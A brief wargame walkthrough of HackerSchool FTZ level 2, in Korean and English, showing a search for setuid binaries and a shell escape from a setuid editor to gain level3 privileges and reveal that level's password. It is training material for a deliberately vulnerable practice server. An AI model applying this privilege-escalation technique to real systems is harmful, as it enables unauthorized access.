hackerschool level 2

level2 / hacker or cracker

[level2@ftz level2]$ ls

hint  public_html  tmp

[level2@ftz level2]$ cat hint

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null

/usr/bin/editor

[level2@ftz level2]$ /usr/bin/editor

editor에서 :sh 로 끝내면 쉘이 떨어지면서 level3이 되는 것을 볼 수 있다.

[level3@ftz level2]$ id

uid=3003(level3) gid=3002(level2) groups=3002(level2)

[level3@ftz level2]$ my-pass

Level3 Password is "can you fly?".

[level3@ftz level2]$